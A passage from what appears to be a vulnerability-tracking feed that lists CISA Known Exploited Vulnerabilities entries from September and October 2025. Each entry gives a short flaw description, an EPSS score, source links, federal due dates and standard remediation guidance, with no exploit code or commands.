necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 15, 2025; federal due date Nov 5, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### IGEL OS Use of a Key Past its Expiration Date Vulnerability https://kevwire.com/record/CVE-2025-47827 IGEL OS Use of a Key Past its Expiration Date Vulnerability (Oct 14, 2025). IGEL OS contains a use of a key past its expiration date vulnerability that allows for Secure Boot bypass. The igel-flash-driver module improperly verifies a cryptographic signature. Ultimately, a crafted root filesystem can be mounted from an unverified SquashFS image. EPSS 4.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25). Sources: CISA KEV entry CVE-2025-47827: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-47827&date=2026-10-25 CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Untrusted Pointer Dereference Vulnerability https://kevwire.com/record/CVE-2025-24990 Microsoft Windows Untrusted Pointer Dereference Vulnerability (Oct 14, 2025). Microsoft Windows Agere Modem Driver contains an untrusted pointer dereference vulnerability that allows for privilege escalation. An attacker who successfully exploited this vulnerability could gain administrator privileges. EPSS 6.4% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25). Sources: CISA KEV entry CVE-2025-24990: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-24990&date=2026-10-25 CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Improper Access Control Vulnerability https://kevwire.com/record/CVE-2025-59230 Microsoft Windows Improper Access Control Vulnerability (Oct 14, 2025). Microsoft Windows contains an improper access control vulnerability in Windows Remote Access Connection Manager which could allow an authorized attacker to elevate privileges locally. EPSS 2.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25). Sources: CISA KEV entry CVE-2025-59230: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59230&date=2026-10-25 CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### SKYSEA Client View Improper Authentication Vulnerability https://kevwire.com/record/CVE-2016-7836 SKYSEA Client View Improper Authentication Vulnerability (Oct 14, 2025). SKYSEA Client View contains an improper authentication vulnerability that allows remote code execution via a flaw in processing authentication on the TCP connection with the management console program. EPSS 19.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25). Sources: CISA KEV entry CVE-2016-7836: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2016-7836&date=2026-10-25 CISA added this entry on 2025-10-14. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 14, 2025; federal due date Nov 4, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Grafana Path Traversal Vulnerability https://kevwire.com/record/CVE-2021-43798 Grafana Path Traversal Vulnerability (Oct 9, 2025). Grafana contains a path traversal vulnerability that could allow access to local files. EPSS 88.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25). Sources: CISA KEV entry CVE-2021-43798: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-43798&date=2026-10-25 CISA added this entry on 2025-10-09. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 9, 2025; federal due date Oct 30, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability https://kevwire.com/record/CVE-2025-27915 Synacor Zimbra Collaboration Suite (ZCS) Cross-site Scripting Vulnerability (Oct 7, 2025). Synacor Zimbra Collaboration Suite (ZCS) contains a cross-site scripting vulnerability that exists in the Classic Web Client due to insufficient sanitization of HTML content in ICS files. When a user views an e-mail message containing a malicious ICS entry, its embedded JavaScript executes via an ontoggle event inside a tag. This allows an attacker to run arbitrary JavaScript within the victim's session, potentially leading to unauthorized actions such as setting e-mail filters to redirect messages to an attacker-controlled address. As a result, an attacker can perform unauthorized actions on the victim's account, including e-mail redirection and data exfiltration. EPSS 4.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25). Sources: CISA KEV entry CVE-2025-27915: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-27915&date=2026-10-25 CISA added this entry on 2025-10-07. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 7, 2025; federal due date Oct 28, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Linux Kernel Heap Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2021-22555 Linux Kernel Heap Out-of-Bounds Write Vulnerability (Oct 6, 2025). Linux Kernel contains a heap out-of-bounds write vulnerability that could allow an attacker to gain privileges or cause a DoS (via heap memory corruption) through user name space. EPSS 78.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25). Sources: CISA KEV entry CVE-2021-22555: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-22555&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability https://kevwire.com/record/CVE-2010-3962 Microsoft Internet Explorer Uninitialized Memory Corruption Vulnerability (Oct 6, 2025). Microsoft Internet Explorer contains an uninitialized memory corruption vulnerability that could allow for remote code execution. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 96.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25). Sources: CISA KEV entry CVE-2010-3962: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3962&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Privilege Escalation Vulnerability https://kevwire.com/record/CVE-2021-43226 Microsoft Windows Privilege Escalation Vulnerability (Oct 6, 2025). Microsoft Windows Common Log File System Driver contains a privilege escalation vulnerability that could allow a local, privileged attacker to bypass certain security mechanisms. EPSS 3.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25). Sources: CISA KEV entry CVE-2021-43226: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-43226&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2013-3918 Microsoft Windows Out-of-Bounds Write Vulnerability (Oct 6, 2025). Microsoft Windows contains an out-of-bounds write vulnerability in the InformationCardSigninHelper Class ActiveX control, icardie.dll. An attacker could exploit the vulnerability by constructing a specially crafted webpage. When a user views the webpage, the vulnerability could allow remote code execution. An attacker who successfully exploited this vulnerability could gain the same user rights as the current user. The impacted product could be end-of-life (EoL) and/or end-of-service (EoS). Users should discontinue product utilization. EPSS 73.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25). Sources: CISA KEV entry CVE-2013-3918: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2013-3918&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Microsoft Windows Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2011-3402 Microsoft Windows Remote Code Execution Vulnerability (Oct 6, 2025). Microsoft Windows Kernel contains an unspecified vulnerability in the TrueType font parsing engine in win32k.sys in the kernel-mode drivers that allows remote attackers to execute arbitrary code via crafted font data in a Word document or web page. EPSS 78.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25). Sources: CISA KEV entry CVE-2011-3402: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2011-3402&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Mozilla Multiple Products Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2010-3765 Mozilla Multiple Products Remote Code Execution Vulnerability (Oct 6, 2025). Mozilla Firefox, SeaMonkey, and Thunderbird contain an unspecified vulnerability when JavaScript is enabled. This allows remote attackers to execute arbitrary code via vectors related to nsCSSFrameConstructor::ContentAppended, the appendChild method, incorrect index tracking, and the creation of multiple frames, which triggers memory corruption. EPSS 83.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25). Sources: CISA KEV entry CVE-2010-3765: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2010-3765&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Oracle E-Business Suite Unspecified Vulnerability https://kevwire.com/record/CVE-2025-61882 Oracle E-Business Suite Unspecified Vulnerability (Oct 6, 2025). Oracle E-Business Suite contains an unspecified vulnerability in the BI Publisher Integration component. The vulnerability allows unauthenticated attacker with network access via HTTP to compromise Oracle Concurrent Processing. Successful attacks can result in takeover of Oracle Concurrent Processing. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25). Sources: CISA KEV entry CVE-2025-61882: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-61882&date=2026-10-25 CISA added this entry on 2025-10-06. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 6, 2025; federal due date Oct 27, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### GNU Bash OS Command Injection Vulnerability https://kevwire.com/record/CVE-2014-6278 GNU Bash OS Command Injection Vulnerability (Oct 2, 2025). GNU Bash contains an OS command injection vulnerability which allows remote attackers to execute arbitrary commands via a crafted environment. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25). Sources: CISA KEV entry CVE-2014-6278: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2014-6278&date=2026-10-25 CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Jenkins Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2017-1000353 Jenkins Remote Code Execution Vulnerability (Oct 2, 2025). Jenkins contains a remote code execution vulnerability. This vulnerability that could allowed attackers to transfer a serialized Java SignedObject object to the remoting-based Jenkins CLI, that would be deserialized using a new ObjectInputStream, bypassing the existing blocklist-based protection mechanism. EPSS 99.7% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25). Sources: CISA KEV entry CVE-2017-1000353: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2017-1000353&date=2026-10-25 CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Juniper ScreenOS Improper Authentication Vulnerability https://kevwire.com/record/CVE-2015-7755 Juniper ScreenOS Improper Authentication Vulnerability (Oct 2, 2025). Juniper ScreenOS contains an improper authentication vulnerability that could allow unauthorized remote administrative access to the device. EPSS 61.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25). Sources: CISA KEV entry CVE-2015-7755: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2015-7755&date=2026-10-25 CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Samsung Mobile Devices Out-of-Bounds Write Vulnerability https://kevwire.com/record/CVE-2025-21043 Samsung Mobile Devices Out-of-Bounds Write Vulnerability (Oct 2, 2025). Samsung mobile devices contain an out-of-bounds write vulnerability in libimagecodec.quram.so which allows remote attackers to execute arbitrary code. EPSS 2.2% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25). Sources: CISA KEV entry CVE-2025-21043: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-21043&date=2026-10-25 CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Smartbedded Meteobridge Command Injection Vulnerability https://kevwire.com/record/CVE-2025-4008 Smartbedded Meteobridge Command Injection Vulnerability (Oct 2, 2025). Smartbedded Meteobridge contains a command injection vulnerability that could allow remote unauthenticated attackers to gain arbitrary command execution with elevated privileges (root) on affected devices. EPSS 93.3% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25). Sources: CISA KEV entry CVE-2025-4008: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-4008&date=2026-10-25 CISA added this entry on 2025-10-02. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Oct 2, 2025; federal due date Oct 23, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Sudo Inclusion of Functionality from Untrusted Control Sphere Vulnerability https://kevwire.com/record/CVE-2025-32463 Sudo Inclusion of Functionality from Untrusted Control Sphere Vulnerability (Sep 29, 2025). Sudo contains an inclusion of functionality from untrusted control sphere vulnerability. This vulnerability could allow local attacker to leverage sudo’s -R (--chroot) option to run arbitrary commands as root, even if they are not listed in the sudoers file. EPSS 55.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25). Sources: CISA KEV entry CVE-2025-32463: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-32463&date=2026-10-25 CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Libraesva Email Security Gateway Command Injection Vulnerability https://kevwire.com/record/CVE-2025-59689 Libraesva Email Security Gateway Command Injection Vulnerability (Sep 29, 2025). Libraesva Email Security Gateway (ESG) contains a command injection vulnerability which allows command injection via a compressed e-mail attachment. EPSS 1.9% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25). Sources: CISA KEV entry CVE-2025-59689: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-59689&date=2026-10-25 CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Fortra GoAnywhere MFT Deserialization of Untrusted Data Vulnerability https://kevwire.com/record/CVE-2025-10035 Fortra GoAnywhere MFT Deserialization of Untrusted Data Vulnerability (Sep 29, 2025). Fortra GoAnywhere MFT contains a deserialization of untrusted data vulnerability allows an actor with a validly forged license response signature to deserialize an arbitrary actor-controlled object, possibly leading to command injection. EPSS 99.8% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25). Sources: CISA KEV entry CVE-2025-10035: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-10035&date=2026-10-25 CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability https://kevwire.com/record/CVE-2025-20352 Cisco IOS and IOS XE Software SNMP Denial of Service and Remote Code Execution Vulnerability (Sep 29, 2025). Cisco IOS and IOS XE contains a stack-based buffer overflow vulnerability in the Simple Network Management Protocol (SNMP) subsystem that could allow for denial of service or remote code execution. A successful exploit could allow a low-privileged attacker to cause the affected system to reload, resulting in a DoS condition, or allow a high-privileged attacker to execute arbitrary code as the root user and obtain full control of the affected system. EPSS 41.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20352: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20352&date=2026-10-25 CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Adminer Server-Side Request Forgery Vulnerability https://kevwire.com/record/CVE-2021-21311 Adminer Server-Side Request Forgery Vulnerability (Sep 29, 2025). Adminer contains a server-side request forgery vulnerability that, when exploited, allows a remote attacker to obtain potentially sensitive information. EPSS 98.5% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25). Sources: CISA KEV entry CVE-2021-21311: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2021-21311&date=2026-10-25 CISA added this entry on 2025-09-29. This record's publication date is the catalog addition date, not necessarily the initial vulnerability disclosure. KEV means known exploitation, not necessarily a zero-day. CISA due dates apply to covered US federal agencies, not your organizational SLA. Action: Apply mitigations per vendor instructions, follow applicable BOD 22-01 guidance for cloud services, or discontinue use of the product if mitigations are unavailable. Kind: vulnerability; regions: Global; provenance: pipeline. CISA added Sep 29, 2025; federal due date Oct 20, 2025. Evidence: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json; catalog as of 2026-10-23T19:30:18.920Z. ### Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Missing Authorization Vulnerability https://kevwire.com/record/CVE-2025-20362 Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Missing Authorization Vulnerability (Sep 25, 2025). Cisco Secure Firewall Adaptive Security (ASA) Appliance and Secure Firewall Threat Defense (FTD) Software VPN Web Server contain a missing authorization vulnerability. This vulnerability could be chained with CVE-2025-20333. EPSS 87.1% for the following 30 days, scored Oct 25, 2026 (https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25). Sources: CISA KEV entry CVE-2025-20362: https://www.cisa.gov/sites/default/files/feeds/known_exploited_vulnerabilities.json FIRST measured EPSS score: https://api.first.org/data/v1/epss?cve=CVE-2025-20362&date=2026-10-25 CISA added this entry on 2025-09-25. 